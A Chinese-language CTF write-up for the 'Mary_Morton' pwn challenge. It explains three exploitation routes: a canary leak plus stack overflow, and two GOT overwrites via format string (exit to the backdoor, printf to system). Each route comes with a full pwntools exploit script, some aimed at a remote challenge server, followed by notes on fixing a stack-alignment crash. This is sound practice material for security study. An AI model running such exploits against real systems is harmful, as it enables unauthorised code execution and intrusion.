原文地址: http://pluie.top/2020/10/08/攻防世界-pwn-Mary-Morton/
逆向流程
checksec
程序很清楚
格式化字符串漏洞
栈溢出漏洞
后门函数
三种思路
1.格式化字符串漏洞泄露canary,栈溢出控制返回地址
2.直接利用格式化字符串漏洞把exit的got表改成后门函数地址
3.把printf的got改成system_plt,再次进入格式化字符串漏洞函数输入 '/bin/sh'
思路一
-
格式化字符串漏洞泄露canary
找到字符串偏移0x6,对应printf第六个参数
确定canary偏移。buf与v2距离为0x88, 0x88/8=17, 17+6=23。canary的偏移是23,也就是对应printf的第23个参数。所以构造 payload = ‘%23&p'
-
构造栈溢出payload
buf距离rbp 0x90
payload = ’a'*(0x90-8) + p64(canary) + 'a' *8 + p64(0x4008DA)
exp:
# coding=utf-8
#!/usr/bin/env python
from pwn import *
context.log_level='debug'
context.arch="amd64"
elf = ELF('./no1r')
obj=process('./no1r')
#obj=remote('220.249.52.133','51674')
obj.recvuntil('battle
')
obj.sendline('2')
obj.sendline('%23$p')
obj.recvuntil('0x')
canary = int(obj.recv()[:16],16)
#print('canary is ',canary)
sys_addr = 0x4008DA
payload = ’a'*(0x90-8) + p64(canary) + 'a'*8 + p64(0x4008DA)
obj.sendline('1')
obj.sendline(payload)
#gdb.attach(obj)
obj.recv()
obj.interactive()
思路二
字符串偏移同思路一
exp:
# coding=utf-8
#!/usr/bin/env python
from pwn import *
context.log_level='debug'
context.arch="amd64"
elf = ELF('./no1r')
#obj = process('./no1r')
obj=remote('220.249.52.133','39008')
exit_got = elf.got['exit']
sys_addr = 0x4008DA
obj.sendline('2')
payload = fmtstr_payload(6,{exit_got:sys_addr})
obj.sendline(payload)
obj.recvuntil('battle
')
obj.sendline('3')
obj.recv()
obj.interactive()
思路三
字符串偏移同思路一
exp:
# coding=utf-8
#!/usr/bin/env python
from pwn import *
context.log_level='debug'
context.arch="amd64"
elf = ELF('./no1r')
obj=remote('220.249.52.133','39008')
#obj=process('./no1r')
printf_got = elf.got['printf']
sys_plt = 0x04006A0
obj.sendline('2')
payload = fmtstr_payload(6,{printf_got:sys_plt})
obj.sendline(payload)
obj.recvuntil('battle
')
obj.sendline('2')
obj.sendline('/bin/sh')
obj.recv()
obj.interactive()
踩过的坑
思路一的payload远程可以打通,但在我本地打不通。脚本跑完显示段错误。
我用的是ubuntu1804。后来询问队里的大佬后才解决问题。这里记录下踩坑经过。
首先在脚本中obj.sendline(payload)
下方添加一行 gdb.attach(obj)
,运行脚本,在新打开的终端中输入指令b *0x4009A5
(在调用read函数处下断),执行后再输入指令c
,执行后程序停在一条指令处,这条指令便是程序出现段错误的原因。
这条指令的作用是检查栈是否对齐(16字节),可以看到栈顶地址0x7ffdadd33d78不是16的倍数,所以程序出现段错误。
我们要做的是让栈对齐,方法有很多种
-
payload 改为
payload = ’a'*(0x90-8) + p64(canary) + 'a'*8 + p64(0x4008DA)*2
-
payload 改为
payload = ’a'*(0x90-8) + p64(canary) + 'a'*8 + p64(0x4009FE) + p64(0x4008DA)
-
payload 改为
payload = ’a'*(0x90-8) + p64(canary) + 'a'*8 + p64(0x4008DB)
.......